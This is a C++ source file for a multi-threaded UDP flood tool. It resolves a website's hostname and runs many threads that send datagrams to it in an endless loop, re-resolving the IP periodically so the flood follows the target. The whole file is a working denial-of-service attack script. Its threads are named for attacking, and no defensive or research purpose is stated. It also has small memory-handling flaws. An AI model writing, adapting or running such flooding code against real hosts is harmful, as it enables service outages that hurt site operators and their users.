#include <iostream>
#include <sys/socket.h>
#include <netinet/in.h>
#include <net/if.h>
#include <cmdline.h>
#include <signal.h>
#include <thread>
#include <netdb.h>
#include <arpa/inet.h>
#include <map>
#include <unistd.h>

#include <netinet/udp.h>
#include <netinet/ip.h>

// all thread stores into this list
std::map<int, std::thread*> thread_list{};

/**
* @brief Get the target host ip from url
* @param url
* @return
*/
std::string get_host_ip_from_url(const std::string &url)
{
    char **pptr;
    char target_host_ip[32]{};
    
    // parse url to host ip
    struct hostent *hptr = gethostbyname(url.c_str());
    if ( nullptr == hptr ) {
        perror("Get host failure");
        pthread_exit( nullptr );
    }
    std::cout << "Below are some information, which you want to see:" << std::endl;
    std::cout << "Official hostname: " << hptr->h_name << std::endl;
    
    for (pptr = hptr->h_aliases; *pptr != nullptr; pptr++)
        std::cout << "Alias: " << *pptr << std::endl;
    switch(hptr->h_addrtype)
    {
        case AF_INET:
        case AF_INET6:
            pptr=hptr->h_addr_list;
            for(;*pptr!= nullptr;pptr++)
                inet_ntop(hptr->h_addrtype, *pptr, target_host_ip, sizeof(target_host_ip));
            break;
        default:
            std::cerr<<"Unknown address type"<< std::endl;
            // In inner thread, use pthread_exit to exit the sub-thread, let other thread continue.
            pthread_exit( nullptr );
    }
    std::cout << "The target ip: " << target_host_ip << std::endl;
    
    return target_host_ip;
}

/**
* @brief Return the random garbage data
* Note that, this return data must be freed, after using.
* @param size the data size
* @return void *, the pointer of the data
*/
void *get_random_buff_data(int size)
{
    void *d = malloc(size * sizeof(char));
    bcopy("hello random string", d, 19);
    return d;
}


void attackThread(
    const std::string &dest_url, const std::string &dest_ip, int dest_port, int interval,
    int data_size, int t_id
    )
{
    int sockfd{};
    auto begin_time = time( nullptr );
    std::string dst_ip = dest_ip;
    
    // 构造目的的sock_addr信息
    struct sockaddr_in servaddr{};
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(dest_port);
    servaddr.sin_addr.s_addr = inet_addr(dest_ip.c_str());
    
    // Check data size, if empty, exit
    if (data_size <=0 ) {
        std::cout << "Data size can't be zero." << std::endl;
        pthread_exit( nullptr);
    }
    struct udp_package_struct *package;
    void *buff_data = get_random_buff_data(data_size);
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        std::cout << "Can't create socket in sub-thread: " << t_id << std::endl;
        pthread_exit( nullptr);
    }
    
    while(true)
    {
        auto elapsed_ts = time( nullptr ) - begin_time;
        if (elapsed_ts >= interval) {
            dst_ip = get_host_ip_from_url(dest_url);
            servaddr.sin_addr.s_addr = inet_addr(dest_ip.c_str());
            begin_time = time( nullptr );
        }
        int send_byte_number = sendto(sockfd, buff_data, data_size, 0, (struct sockaddr*)&servaddr, sizeof(servaddr));
        if ( -1 == send_byte_number ) {
            switch (errno) {
                case EACCES:
                    std::cout << "Access denied." << std::endl;
                    free(buff_data);
                    close(sockfd);
                    pthread_exit(nullptr);
                case ENOMEM:
                    std::cout << "There is no memory to do the job." << std::endl;
                    close(sockfd);
                    free(buff_data);
                    pthread_exit(nullptr);
                default:
                    break;
            }
        } else {
            std::cout << "Sending data successfully: " << send_byte_number << std::endl;
            // Not doing anything, in multi-thread program, the output might be order-mess, if using the mutex, it will loss the perference
        }
    }
}


/**
* @brief
* @param argc
* @param argv
* @return
*/
int main(int argc, char *argv[])
{
    cmdline::parser parser;
    
    parser.add<std::string>("url", 'u', "网站URL,不携带http或者https.", true);
    parser.add<int>("port",    'p', "网站的端口(默认: 80).", false, 80);
    parser.add<int>("number",  'n', "线程数目(默认: 20个线程) .", false, 20);
    parser.add<int>("interval",'i', "默认URL的IP检查时间(默认每隔120秒检查一次URL是否更改IP: 120 seconds) .", false, 120);
    parser.add<int>("datasize",'d', "默认每个请求的大小(默认: 200 字节).", false, 200);
    
    parser.parse_check(argc, argv);
    
    auto url = parser.get<std::string>("url");
    auto port = parser.get<int>("port");
    auto interrval = parser.get<int>("interval");
    auto data_size = parser.get<int>("datasize");
    auto number = parser.get<int>("number");
    if (number<=0) {
        std::cerr<< "The number of the thread can't assign by 0." << std::endl;
        exit(EXIT_FAILURE);
    }
    
    // signal
    signal(SIGPIPE, SIG_IGN);
    auto target_host_ip = get_host_ip_from_url(url);
    // start thread for attacking.
    for ( int i = 0; i < number; ++i ) {
        thread_list.insert(
            std::make_pair(
                i,
                new std::thread(attackThread, url, target_host_ip, port, interrval, data_size, i)
            )
        );
    }

    for ( auto &t: thread_list) {
        if ( t.second->joinable() ) {
            t.second->join();
        }
    }
    
    return 0;
}